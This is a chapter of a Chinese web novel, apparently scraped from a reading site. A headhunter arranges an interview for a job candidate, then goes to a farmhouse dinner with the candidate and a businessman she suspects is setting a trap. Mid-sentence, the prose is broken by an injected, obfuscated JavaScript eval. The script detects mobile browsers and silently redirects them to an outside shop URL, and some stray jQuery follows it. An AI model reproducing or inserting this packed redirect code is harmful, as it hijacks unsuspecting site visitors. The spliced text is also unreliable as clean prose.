26. 陷阱
作品:《大佬,挖个墙脚》 阮盈满将乔诗旻的简历混在另外四份中,一并发给了天然集团的人事总监。
下午,Ada回复。
天然-Ada:【阮顾问,不想找可以不找】
末尾还附带了一个系统原始的微笑表情,毫无遮掩对其明晃晃的讽刺意味。
创善-阮盈满:【还不满意?您再看看呢,我比较推荐那位乔小姐】
天然-Ada:【我们不太接受缺少品牌方经验的乙方,您应该清楚】
阮盈满了然地拂了拂键盘,思索半晌,游刃有余地打下。
创善-阮盈满:【乔小姐本人的项目经历和作品集足够优秀,我觉得您可以再看一下】
天然人事总监迟迟没有回复,显然是迟疑了。
良久,她发了一条郑重的语音过来:“可以安排面试,具体聊一下。”
得到确切的回复。
阮盈满联系乔诗旻,和她电话。
“乔小姐,方便沟通吗?”
乔诗旻刚走出会议室,她脚步一顿,来到走廊尽头的玻璃窗边,“阮顾问,看来是有好消息。”
“是的,天然那边想和您约个面试,乔小姐您看你这边什么时候方便呢?”
“阮顾问有建议的时间吗?”
乔诗旻这么信任自己?
阮盈满愣怔片刻,一改懒散的状态,在办公室内挺直了身板正声道:“我觉得周五下午不错。”
根据天然集团的面试习安排习惯,周五下午往往是这周内最后一个面试的时间点,只要足够优秀,势必会给天然的首场面试官留下更深刻的印象。
乔诗旻声音温柔轻缓,像林间浓郁舒爽的氧气,“好,那就周五下午。辛苦阮顾问帮我联系了。”
“客气。”
阮盈满挂断电话。
她沉思了会,给蒋茉发消息。
创善-阮盈满:【茉,我这边的天然候选人周五下午面试,你可以考虑周四投递简历,或者下周再投】
不久前,阮盈满对蒋茉解释了创善内部情况,她表示理解。
很快,蒋茉回复。
蒋茉:【我等一下那位的结果吧。】
蒋茉:【她要是没过,你可以帮我投,她要是过了一面,我就自己投】
阮盈满面向屏幕,敲下单字。
好。
从手边的小瓶中倒出一片维生素复合片压在舌底,阮盈满想,平心而论,乔诗旻和蒋茉的从业时间相差无几,但乔诗旻的项目经历和经验比蒋茉丰富太多,虽然蒋茉是甲方出生,工作流程和数据分析能力相比乔诗旻更具优势,但天然集团的offer最终会花落谁家,还真不好说。
可人啊,最会偏心。
阮盈满和Ada敲定了乔诗旻周五面试的地点时间后,乔诗旻就收到了面试邮件。
难得的,乔诗旻主动给阮盈满发来消息。
阮顾问,晚上有空吗?约个餐,想向你请教天然集团的面试习惯。
话说得很客气。
阮盈满一目十行,很快将那条信息扫过去,她压下心底那点被迫接下项目的不痛快,依照职业的本能习惯,发去软软一句。
可以呀。
乔诗旻就像茂密森林里高浓度的氧气令人呼吸舒服,但沁入心脾的同时,也能刮起一阵刺骨的凉意。表面温柔随和,但与她接触久了,对方骨子里的高傲便随着呼吸一样自然地显露出来,天生有着精英阶层不自知的高高在上,习惯以一种居高临下的审视态度对待别人,严格恪守着泾渭分明的社交准则。
这样的性格,让阮盈满几乎下一瞬间,想到另一个人。
想起两人的关系,阮盈满嘴唇轻挑,呵出嘲弄的声音,合着她和这莫名其妙的两人过不起了是吧!
--
提前5分钟,阮盈满下楼。
可踏出一楼旋转玻璃门的刹那,她就被不同寻常的细节扰乱了视线和注意。
什么时候园区还有这样的大金主了?
她怎么不知道!
阮盈满再次瞄了眼,一辆低调气派的纯黑色宾利稳当停在路边。
有点眼熟,阮盈满不动声色地走得更近,赫然回以起几日前江湛特助驾驶这辆车来楼下带走小猫的场景……
等等,这是谁的车?
“阮顾问——”
一道温柔又不失气场的嗓音及时叫住了她。
不是吧!
阮盈满错愕抬头望去,只见乔诗旻从副驾驶座探出半截身子招呼她。
寒风撕碎呼出的水汽,嘴角的微笑倏地僵持。
落日余晖从阮盈满的背后投射,完全笼罩住了她。
霞光毫不吝啬挥洒,将她身影拉长印照在宾利上,车身经由光的折射显示出细碎流光,低调为阮盈满的影子镀上一层粼粼的纱。
阮盈满眸光涌动,透过挡风玻璃,不期然与一双冷然的好看的眼对视。
而透过车窗的霞光是那么窄。
江湛大半张脸隐匿在车内暗处,明灭间,灰色阴影布在深邃立体的眉骨眼窝,传递出他骨子里的清冷沉静,如宾利车身那般坚硬光洁的质感,摸上去冰冷而沉甸甸,却流动着与生俱来的气韵,隐约地吸引人,似造物主天然地偏心他。
他坐在车内,左手上臂搭在车窗上,看向她的神情浅淡。
怎么还有人?
况且,最近她和这个男人实在有点纠缠不清。
乔诗旻微笑,笑意却不达眼底,“忘了说,我也邀请了江湛,阮顾问应该不介意吧。”
“不。”短促地应了声。
其实很介意,既然这样,阮盈满深呼吸,说:“麻烦乔小姐发我地址,我去开车。”
“阮顾问还是和我们一起吧。”
你们?阮盈满恶狠狠地将这两个字眼放在舌尖来回咀嚼,那今晚我可真是一拳难敌四手啊。
“不了,否则明天上班,不太方便。”阮盈满含蓄。
一直保持沉默的江湛听到她这么说,出乎意外地撩起眼皮看向阮盈满,似有若无的笑意在嘴角掠起。
……
一副把她看透的样子,令阮盈满产生无处遁形的感觉。
江湛不应该知道自己的地址吧?不知道吧。
阮盈满半是疑惑。
--
乔诗旻预定的餐厅,意外符合阮盈满口味。
一家偏本地菜系的农庄,风景不错,环境很好。
三人坐在包厢里,阮盈满总有种被少爷小姐十曲九弯带着吃深山农家乐的既视感。
但先前一路架势在颠簸的盘山路小道上,实在考验她的开车技术。
更别提此刻坐在冰凉的硬质木椅上,阮盈满尾椎发麻,仿佛失去了对下半身的控制。
片刻,阮盈满终于微妙地意识到,为什么乔诗旻再三邀请自己同坐江湛的车了。
空气沉默。
下一秒,门帘被撩开,一位笑呵呵的矮胖男人进来。
最开始,他看向的是江湛,“江总,惯例?”
“惯例。”江湛矜持地点了点下颚。
阮盈满指尖一顿,不是乔诗旻预约的吗?
好奇怪。
进来的男人是农庄老板。
手上拎着简朴的两玻璃瓶,“啪”的一声,浓郁芬芳的酒味比声音先到面前。
他客客气气地邀请三人来上:“客人晚上好。这是咱们自家酿的果酒,甜蜜蜜的,正好暖暖身子,没有什么度数。用山后应季桑葚、杨梅酿的!绝对天然无添加!很适合你们这样漂亮的小姑娘喝了!”
老板一边摆上分酒器,熟练地倒入色泽近似葡萄酒的液体。
醒酒。
散出来的醇厚酒味带着丝丝缕缕清新的果香。
阮盈满眼睛都看直了,仿佛码头海鸥看见路人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864753|190917||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手里的薯条。
江湛借由开车的名义,婉拒。
于是瓶底余下几粒饱满艳泽的杨梅和桑葚,被一一拨入阮盈满和乔诗旻的盘中。
每一颗果子都有瓷勺口那么大,丝丝缕缕的果香和酒香缠绕,不断地往鼻腔飘荡。
一闻都醉。
阮盈满咽下口水,乌黑透亮的双眼更显圆润,像猫似的,透着不自知的娇憨。她抿唇,闭上眼将心底钻出来的渴望压抑,生怕自己一吃一喝,嘴上没个把门,把什么话都给一骨碌吐出去。
顺带,她也得开车啊!
“这位妹妹怎么也不吃?”老板开玩笑,还笑咧咧自嘲技艺生疏,入不了阮盈满法眼。
阮盈满艰难地控制住自己颤动的手,两指间筷子也是将移未移、犹犹豫豫。
老板,没什么度数恐怕是你的谎言!
一旁的乔诗旻夹一颗桑葚,稍稍低下头送入口中后轻轻咬下,动作赏心悦目,时刻有一种大家闺秀的得体。
殷红的汁水迸溅唇上,她的眼波递到江湛面前,眉眼捻起醉氧感的笑,片刻又传到阮盈满脸上,眼里的笑意缓了缓,吐出带着酒热的气息,她说:“我吃着不错,阮顾问不尝尝吗?”
阮盈满夹起杨梅,又放下,敛下眼皮,收好情绪,淡淡说:“我也开车。”
江湛脸上仍蓄着一点笑,但眉目很是清冷,像是出于礼貌的一种本能:“阮顾问,我可以帮你请代驾。”
脸上的肌肉无声地抖了抖,一丝微妙的情绪像湿黏青蛇,悄然顺着血肉攀爬上阮盈满心脏,她心想,江湛这话什么意思?
没记错的话,上次聚餐后直至代驾结束,两人相处应该还算愉快啊。
身为猎头,阮盈满惯性地将甲方与候选人看作是不真诚的,将他们的话语来回咀嚼,分辨其中利害。毕竟,所有与她接触的人都带有目的,会主观地说对自己有利的话。人人都是语言蒙太奇的高手,包括她自己。
不愿意喝酒的念头逐渐加重,好像那条蛇慢慢地、慢慢地蠕动身子将阮盈满温热跳动的心绞箍,难以呼吸。
她顿时警戒起来,十指交叠,用食指指尖轻轻摩挲手背。
观察两人反应的乔诗旻顿了顿,下一秒,心里浮现一个不可思议的念头。
眼微微睁大,不能接受似的甩了甩头,她难得失态:“阮顾问,我想你误会了一件事,今晚的饭庄是江湛亲自选的,我也是第一次被他带来这里,要是阮顾问错过美食,那可惜了。”
好像阮盈满这样的“吃货”错过这些,连她都替她感到惋惜,只是她咬文嚼字的节奏平缓,唯独每每提及江湛时有细微波动。
阮盈满看向江湛,仍旧是淡然随和的模样,偶尔夹菜,好像这些对他来说也没什么滋味。
也许是自己想多了,阮盈满算什么,值得华科江湛处处给自己下套?
不过,扫了眼氛围明显不对劲的乔诗旻,她仍持保留态度,只是身为酒蒙子,阮盈满立场松动。
收起眼神,阮盈满盛情难却,便吃了两颗杨梅一颗桑葚,外加两杯醒好的酒。
入口绵柔,不温不火也不凉,一下子就划过了口腔,但片刻果香浓郁直扑味蕾和鼻尖,甜味从舌尖蔓延,接着一股暖流从腰腹升起来,沿着背脊往上暖到脖子,这时吐一口气都是香的。
眼神倏地亮起来,阮盈满用手背绵绵地撑着半耷的脑袋,吸了吸鼻子,沉浸在醇厚酒精的余韵里。
好喝,妙!
这时候要是吹点风,她指定倒头就睡,一觉睡到明个大中午。
然而,乔诗旻好心替阮盈满舀了碗黄澄澄的鸡汤,鲜美飘香,上面还飘着两三粒枸杞,不紧不慢递过来的同时,不经意提及:“突然想起来今晚的正事。”
擦——
阮盈满雾蒙蒙的双眼顿时清澈。
好嘛,重头戏总算来了,看来这是专给她设计的鸿门宴。

